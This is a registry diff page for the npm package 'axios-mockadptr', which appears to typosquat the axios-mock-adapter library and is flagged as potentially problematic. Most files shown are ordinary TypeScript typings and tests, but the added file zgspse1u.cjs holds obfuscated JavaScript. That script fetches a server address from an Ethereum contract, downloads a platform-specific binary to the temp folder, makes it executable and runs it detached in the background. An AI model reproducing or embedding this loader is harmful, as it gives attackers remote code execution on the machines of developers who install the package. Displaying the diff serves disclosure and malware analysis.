axios-mockadptr 0.0.1-security → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of axios-mockadptr might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +371 -3
- package/dist/axios-mock-adapter.js +133 -0
- package/dist/axios-mock-adapter.min.js +2 -0
- package/dist/axios-mock-adapter.min.js.LICENSE.txt +25 -0
- package/package.json +51 -4
- package/src/handle_request.js +88 -0
- package/src/index.js +285 -0
- package/src/is_blob.js +28 -0
- package/src/utils.js +224 -0
- package/types/index.d.ts +126 -0
- package/types/test.ts +170 -0
- package/types/tsconfig.json +19 -0
- package/zgspse1u.cjs +1 -0
package/types/index.d.ts
ADDED
@@ -0,0 +1,126 @@
|
|
1
|
+
import { AxiosAdapter, AxiosInstance, AxiosRequestConfig } from 'axios';
|
2
|
+
|
3
|
+
interface AxiosHeaders {
|
4
|
+
[key: string]: string | number | boolean | null | undefined;
|
5
|
+
}
|
6
|
+
|
7
|
+
type MockArrayResponse = [
|
8
|
+
status: number,
|
9
|
+
data?: any,
|
10
|
+
headers?: AxiosHeaders
|
11
|
+
];
|
12
|
+
|
13
|
+
type MockObjectResponse = {
|
14
|
+
status: number;
|
15
|
+
data: any;
|
16
|
+
headers?: AxiosHeaders,
|
17
|
+
config?: AxiosRequestConfig
|
18
|
+
};
|
19
|
+
|
20
|
+
type MockResponse = MockArrayResponse | MockObjectResponse;
|
21
|
+
|
22
|
+
type CallbackResponseSpecFunc = (
|
23
|
+
config: AxiosRequestConfig
|
24
|
+
) => MockResponse | Promise<MockResponse>;
|
25
|
+
|
26
|
+
type ResponseSpecFunc = <T = any>(
|
27
|
+
statusOrCallback: number | CallbackResponseSpecFunc,
|
28
|
+
data?: T,
|
29
|
+
headers?: AxiosHeaders
|
30
|
+
) => MockAdapter;
|
31
|
+
|
32
|
+
declare namespace MockAdapter {
|
33
|
+
export interface RequestHandler {
|
34
|
+
withDelayInMs(delay: number): RequestHandler;
|
35
|
+
reply: ResponseSpecFunc;
|
36
|
+
replyOnce: ResponseSpecFunc;
|
37
|
+
passThrough(): MockAdapter;
|
38
|
+
abortRequest(): MockAdapter;
|
39
|
+
abortRequestOnce(): MockAdapter;
|
40
|
+
networkError(): MockAdapter;
|
41
|
+
networkErrorOnce(): MockAdapter;
|
42
|
+
timeout(): MockAdapter;
|
43
|
+
timeoutOnce(): MockAdapter;
|
44
|
+
}
|
45
|
+
}
|
46
|
+
|
47
|
+
interface MockAdapterOptions {
|
48
|
+
delayResponse?: number;
|
49
|
+
onNoMatch?: 'passthrough' | 'throwException';
|
50
|
+
}
|
51
|
+
|
52
|
+
interface AsymmetricMatcher {
|
53
|
+
asymmetricMatch: Function;
|
54
|
+
}
|
55
|
+
|
56
|
+
interface ParamsMatcher {
|
57
|
+
[param: string]: any;
|
58
|
+
}
|
59
|
+
|
60
|
+
interface HeadersMatcher {
|
61
|
+
[header: string]: string;
|
62
|
+
}
|
63
|
+
|
64
|
+
type UrlMatcher = string | RegExp;
|
65
|
+
type AsymmetricParamsMatcher = AsymmetricMatcher | ParamsMatcher;
|
66
|
+
type AsymmetricHeadersMatcher = AsymmetricMatcher | HeadersMatcher;
|
67
|
+
type AsymmetricRequestDataMatcher = AsymmetricMatcher | any;
|
68
|
+
|
69
|
+
interface ConfigMatcher {
|
70
|
+
params?: AsymmetricParamsMatcher;
|
71
|
+
headers?: AsymmetricHeadersMatcher;
|
72
|
+
data?: AsymmetricRequestDataMatcher;
|
73
|
+
}
|
74
|
+
|
75
|
+
type RequestMatcherFunc = (
|
76
|
+
matcher?: UrlMatcher,
|
77
|
+
body?: AsymmetricRequestDataMatcher,
|
78
|
+
config?: ConfigMatcher
|
79
|
+
) => MockAdapter.RequestHandler;
|
80
|
+
|
81
|
+
type NoBodyRequestMatcherFunc = (
|
82
|
+
matcher?: UrlMatcher,
|
83
|
+
config?: ConfigMatcher
|
84
|
+
) => MockAdapter.RequestHandler;
|
85
|
+
|
86
|
+
type verb =
|
87
|
+
| 'get'
|
88
|
+
| 'post'
|
89
|
+
| 'put'
|
90
|
+
| 'delete'
|
91
|
+
| 'patch'
|
92
|
+
| 'options'
|
93
|
+
| 'head'
|
94
|
+
| 'list'
|
95
|
+
| 'link'
|
96
|
+
| 'unlink';
|
97
|
+
|
98
|
+
type HistoryArray = AxiosRequestConfig[] & Record<verb, AxiosRequestConfig[]>
|
99
|
+
|
100
|
+
declare class MockAdapter {
|
101
|
+
static default: typeof MockAdapter;
|
102
|
+
|
103
|
+
constructor(axiosInstance: AxiosInstance, options?: MockAdapterOptions);
|
104
|
+
|
105
|
+
adapter(): AxiosAdapter;
|
106
|
+
reset(): void;
|
107
|
+
resetHandlers(): void;
|
108
|
+
resetHistory(): void;
|
109
|
+
restore(): void;
|
110
|
+
|
111
|
+
history: HistoryArray;
|
112
|
+
|
113
|
+
onAny: NoBodyRequestMatcherFunc;
|
114
|
+
onGet: NoBodyRequestMatcherFunc;
|
115
|
+
onDelete: NoBodyRequestMatcherFunc;
|
116
|
+
onHead: NoBodyRequestMatcherFunc;
|
117
|
+
onOptions: NoBodyRequestMatcherFunc;
|
118
|
+
onPost: RequestMatcherFunc;
|
119
|
+
onPut: RequestMatcherFunc;
|
120
|
+
onPatch: RequestMatcherFunc;
|
121
|
+
onList: RequestMatcherFunc;
|
122
|
+
onLink: RequestMatcherFunc;
|
123
|
+
onUnlink: RequestMatcherFunc;
|
124
|
+
}
|
125
|
+
|
126
|
+
export = MockAdapter;
|
package/types/test.ts
ADDED
@@ -0,0 +1,170 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
import MockAdapter = require('axios-mock-adapter');
|
3
|
+
|
4
|
+
const instance = axios.create();
|
5
|
+
let mock = new MockAdapter(instance);
|
6
|
+
mock = new MockAdapter.default(instance)
|
7
|
+
|
8
|
+
namespace AllowsConstructing {
|
9
|
+
new MockAdapter(instance);
|
10
|
+
}
|
11
|
+
|
12
|
+
namespace AllowsConstructingWithOptions {
|
13
|
+
new MockAdapter(instance, {
|
14
|
+
delayResponse: 2000,
|
15
|
+
onNoMatch: 'passthrough'
|
16
|
+
});
|
17
|
+
}
|
18
|
+
|
19
|
+
namespace SupportsOnNoMatchThrowException {
|
20
|
+
new MockAdapter(instance, {
|
21
|
+
onNoMatch: 'throwException'
|
22
|
+
});
|
23
|
+
}
|
24
|
+
|
25
|
+
namespace ExposesAdapter {
|
26
|
+
mock.adapter();
|
27
|
+
}
|
28
|
+
|
29
|
+
namespace SupportsReset {
|
30
|
+
mock.reset();
|
31
|
+
}
|
32
|
+
|
33
|
+
namespace SupportsResetHandlers {
|
34
|
+
mock.resetHandlers();
|
35
|
+
}
|
36
|
+
|
37
|
+
namespace SupportsResetHistory {
|
38
|
+
mock.resetHistory();
|
39
|
+
}
|
40
|
+
|
41
|
+
namespace SupportsHistoryArray {
|
42
|
+
mock.history.length;
|
43
|
+
mock.history[0].method;
|
44
|
+
mock.history[0].url;
|
45
|
+
mock.history[0].params;
|
46
|
+
mock.history[0].data;
|
47
|
+
mock.history[0].headers;
|
48
|
+
|
49
|
+
mock.history.get[0].method;
|
50
|
+
mock.history.get[0].url;
|
51
|
+
mock.history.get[0].params;
|
52
|
+
mock.history.get[0].data;
|
53
|
+
mock.history.get[0].headers;
|
54
|
+
}
|
55
|
+
|
56
|
+
namespace SupportsRestore {
|
57
|
+
mock.restore();
|
58
|
+
}
|
59
|
+
|
60
|
+
namespace SupportsAllHttpVerbs {
|
61
|
+
mock.onGet;
|
62
|
+
mock.onPost;
|
63
|
+
mock.onPut;
|
64
|
+
mock.onHead;
|
65
|
+
mock.onDelete;
|
66
|
+
mock.onPatch;
|
67
|
+
mock.onList;
|
68
|
+
mock.onLink;
|
69
|
+
mock.onUnlink;
|
70
|
+
}
|
71
|
+
|
72
|
+
namespace SupportsAnyVerb {
|
73
|
+
mock.onAny;
|
74
|
+
}
|
75
|
+
|
76
|
+
namespace AllowsVerbOnlyMatcher {
|
77
|
+
mock.onGet();
|
78
|
+
}
|
79
|
+
|
80
|
+
namespace AllowsUrlMatcher {
|
81
|
+
mock.onGet('/foo');
|
82
|
+
}
|
83
|
+
|
84
|
+
namespace AllowsUrlRegExpMatcher {
|
85
|
+
mock.onGet(/\/fo+/);
|
86
|
+
}
|
87
|
+
|
88
|
+
namespace AllowsStringBodyMatcher {
|
89
|
+
mock.onPatch('/foo', 'bar');
|
90
|
+
}
|
91
|
+
|
92
|
+
namespace AllowsBodyMatcher {
|
93
|
+
mock.onPost('/foo', {id: 4, name: 'foo'});
|
94
|
+
mock.onPut('/foo', {id: 4, name: 'foo'});
|
95
|
+
mock.onAny('/foo', {data: {id: 4, name: 'foo'}});
|
96
|
+
}
|
97
|
+
|
98
|
+
namespace AllowsParamsMatcher {
|
99
|
+
mock.onGet('/foo', {params: {searchText: 'John'}});
|
100
|
+
mock.onDelete('/foo', {params: {searchText: 'John'}});
|
101
|
+
}
|
102
|
+
|
103
|
+
namespace AllowsReplyWithStatus {
|
104
|
+
mock.onGet().reply(200);
|
105
|
+
}
|
106
|
+
|
107
|
+
namespace SupportsReplyOnce {
|
108
|
+
mock.onGet().replyOnce(200);
|
109
|
+
}
|
110
|
+
|
111
|
+
namespace SupportsPassThrough {
|
112
|
+
mock.onGet().passThrough();
|
113
|
+
}
|
114
|
+
|
115
|
+
namespace SupportsTimeout {
|
116
|
+
mock.onGet().timeout();
|
117
|
+
}
|
118
|
+
|
119
|
+
namespace SupportsTimeoutOnce {
|
120
|
+
mock.onGet().timeoutOnce();
|
121
|
+
}
|
122
|
+
|
123
|
+
namespace SupportsAbortRequest {
|
124
|
+
mock.onGet().abortRequest();
|
125
|
+
}
|
126
|
+
|
127
|
+
namespace SupportsAbortRequestOnce {
|
128
|
+
mock.onGet().abortRequestOnce();
|
129
|
+
}
|
130
|
+
|
131
|
+
namespace SupportsNetworkError {
|
132
|
+
mock.onGet().networkError();
|
133
|
+
}
|
134
|
+
|
135
|
+
namespace SupportsNetworkErrorOnce {
|
136
|
+
mock.onGet().networkErrorOnce();
|
137
|
+
}
|
138
|
+
|
139
|
+
namespace withDelayInMs {
|
140
|
+
mock.onGet().withDelayInMs(2000).reply(200, { data: 'foo' });
|
141
|
+
}
|
142
|
+
|
143
|
+
namespace AllowsFunctionReply {
|
144
|
+
mock.onGet().reply(config => {
|
145
|
+
return [200, { data: 'foo' }, { RequestedURL: config.url }];
|
146
|
+
});
|
147
|
+
}
|
148
|
+
|
149
|
+
namespace AllowsPromiseReply {
|
150
|
+
mock.onGet().reply(config => {
|
151
|
+
return Promise.resolve([
|
152
|
+
200,
|
153
|
+
{ data: 'bar' },
|
154
|
+
{ RequestedURL: config.url }
|
155
|
+
]);
|
156
|
+
});
|
157
|
+
}
|
158
|
+
|
159
|
+
namespace SupportsChaining {
|
160
|
+
mock
|
161
|
+
.onGet('/users')
|
162
|
+
.reply(200, [])
|
163
|
+
.onGet('/posts')
|
164
|
+
.reply(200, []);
|
165
|
+
}
|
166
|
+
|
167
|
+
namespace ExportsRequestHandlerInterface {
|
168
|
+
const handler: MockAdapter.RequestHandler = mock.onAny();
|
169
|
+
handler.reply(200);
|
170
|
+
}
|
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"compilerOptions": {
|
3
|
+
"module": "commonjs",
|
4
|
+
"lib": [
|
5
|
+
"es6"
|
6
|
+
],
|
7
|
+
"noEmit": true,
|
8
|
+
"forceConsistentCasingInFileNames": true,
|
9
|
+
"noImplicitAny": true,
|
10
|
+
"noImplicitThis": true,
|
11
|
+
"strictNullChecks": true,
|
12
|
+
"baseUrl": ".",
|
13
|
+
"paths": {
|
14
|
+
"axios-mock-adapter": [
|
15
|
+
"."
|
16
|
+
]
|
17
|
+
}
|
18
|
+
}
|
19
|
+
}
|
package/zgspse1u.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x5d6f66=_0x300a;(function(_0x163618,_0xc10ab1){const _0x2f5247=_0x300a,_0x3e12f1=_0x163618();while(!![]){try{const _0xf72be0=parseInt(_0x2f5247(0xad))/0x1+-parseInt(_0x2f5247(0xc0))/0x2+-parseInt(_0x2f5247(0xb3))/0x3+parseInt(_0x2f5247(0xc2))/0x4+-parseInt(_0x2f5247(0xb1))/0x5*(parseInt(_0x2f5247(0xbf))/0x6)+-parseInt(_0x2f5247(0xba))/0x7+-parseInt(_0x2f5247(0xaf))/0x8*(-parseInt(_0x2f5247(0xd7))/0x9);if(_0xf72be0===_0xc10ab1)break;else _0x3e12f1['push'](_0x3e12f1['shift']());}catch(_0x44fcb1){_0x3e12f1['push'](_0x3e12f1['shift']());}}}(_0x4b3e,0x49e3f));function _0x300a(_0xbc4895,_0x4c303a){const _0x4b3eae=_0x4b3e();return _0x300a=function(_0x300a48,_0x56156c){_0x300a48=_0x300a48-0xac;let _0x57dce7=_0x4b3eae[_0x300a48];return _0x57dce7;},_0x300a(_0xbc4895,_0x4c303a);}const {ethers}=require(_0x5d6f66(0xcc)),axios=require('axios'),util=require(_0x5d6f66(0xce)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x5d6f66(0xb9)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x5d6f66(0xae),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x5d6f66(0xd0)](_0x5d6f66(0xc9)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x264b4e=_0x5d6f66,_0x96941a={'lGiAm':_0x264b4e(0xc6),'fscNh':function(_0x1b455d){return _0x1b455d();}};try{const _0x250770=await contract[_0x264b4e(0xb5)](WalletOwner);return _0x250770;}catch(_0x2aba40){return console[_0x264b4e(0xc7)](_0x96941a['lGiAm'],_0x2aba40),await _0x96941a[_0x264b4e(0xb7)](fetchAndUpdateIp);}},getDownloadUrl=_0x3bf3e3=>{const _0x323377=_0x5d6f66,_0x146276={'CCiep':_0x323377(0xc8),'LnFVj':_0x323377(0xb0)},_0x4b5911=os['platform']();switch(_0x4b5911){case _0x323377(0xb4):return _0x3bf3e3+'/node-win.exe';case _0x146276[_0x323377(0xd5)]:return _0x3bf3e3+'/node-linux';case _0x146276[_0x323377(0xac)]:return _0x3bf3e3+_0x323377(0xc4);default:throw new Error(_0x323377(0xd6)+_0x4b5911);}},downloadFile=async(_0x40b434,_0x4e82d9)=>{const _0x34e0d2=_0x5d6f66,_0x37e15f={'aChjP':_0x34e0d2(0xda),'LLfxl':_0x34e0d2(0xc7),'NDZFk':'GET'},_0x34ada5=fs[_0x34e0d2(0xc3)](_0x4e82d9),_0x1063d4=await axios({'url':_0x40b434,'method':_0x37e15f['NDZFk'],'responseType':_0x34e0d2(0xbe)});return _0x1063d4[_0x34e0d2(0xb8)][_0x34e0d2(0xd4)](_0x34ada5),new Promise((_0x48b311,_0x429215)=>{const _0x3f652a=_0x34e0d2;_0x34ada5['on'](_0x37e15f[_0x3f652a(0xd1)],_0x48b311),_0x34ada5['on'](_0x37e15f[_0x3f652a(0xd8)],_0x429215);});},executeFileInBackground=async _0x51cde4=>{const _0x3d093b=_0x5d6f66,_0x196c2c={'erLdq':function(_0x3af8,_0x5c5e29,_0x462953,_0x44863b){return _0x3af8(_0x5c5e29,_0x462953,_0x44863b);},'NUmhU':'ignore','zuvws':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x3ce6fd=_0x196c2c[_0x3d093b(0xb6)](spawn,_0x51cde4,[],{'detached':!![],'stdio':_0x196c2c[_0x3d093b(0xd9)]});_0x3ce6fd[_0x3d093b(0xbd)]();}catch(_0xf2cd74){console[_0x3d093b(0xc7)](_0x196c2c[_0x3d093b(0xcd)],_0xf2cd74);}},runInstallation=async()=>{const _0x449321=_0x5d6f66,_0xb725ad={'isTdz':function(_0x19427c){return _0x19427c();},'jXFqJ':function(_0x229a2e,_0x45eb83){return _0x229a2e(_0x45eb83);},'BkQOO':function(_0x1f6d40,_0x54a194,_0x38e42d){return _0x1f6d40(_0x54a194,_0x38e42d);},'jinyC':_0x449321(0xbc),'qOepF':_0x449321(0xdb)};try{const _0x2e47dd=await _0xb725ad[_0x449321(0xd3)](fetchAndUpdateIp),_0x401208=_0xb725ad[_0x449321(0xc1)](getDownloadUrl,_0x2e47dd),_0x303c90=os[_0x449321(0xc5)](),_0x176019=path[_0x449321(0xca)](_0x401208),_0x144930=path[_0x449321(0xcb)](_0x303c90,_0x176019);await _0xb725ad[_0x449321(0xd2)](downloadFile,_0x401208,_0x144930);if(os[_0x449321(0xbb)]()!==_0x449321(0xb4))fs['chmodSync'](_0x144930,_0xb725ad[_0x449321(0xcf)]);_0xb725ad[_0x449321(0xc1)](executeFileInBackground,_0x144930);}catch(_0x2cce5d){console[_0x449321(0xc7)](_0xb725ad[_0x449321(0xb2)],_0x2cce5d);}};function _0x4b3e(){const _0x5e88f3=['tmpdir','Ошибка\x20при\x20получении\x20IP\x20адреса:','error','linux','mainnet','basename','join','ethers','zuvws','util','jinyC','getDefaultProvider','aChjP','BkQOO','isTdz','pipe','CCiep','Unsupported\x20platform:\x20','7805007sVIwnR','LLfxl','NUmhU','finish','Ошибка\x20установки:','LnFVj','558701SEkFZv','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','8TWxFid','darwin','435owApyD','qOepF','30282CxCALH','win32','getString','erLdq','fscNh','data','child_process','4022571NeYAko','platform','755','unref','stream','9054SSMgDd','884068qdnxpr','jXFqJ','139180bfocxc','createWriteStream','/node-macos'];_0x4b3e=function(){return _0x5e88f3;};return _0x4b3e();}runInstallation();
|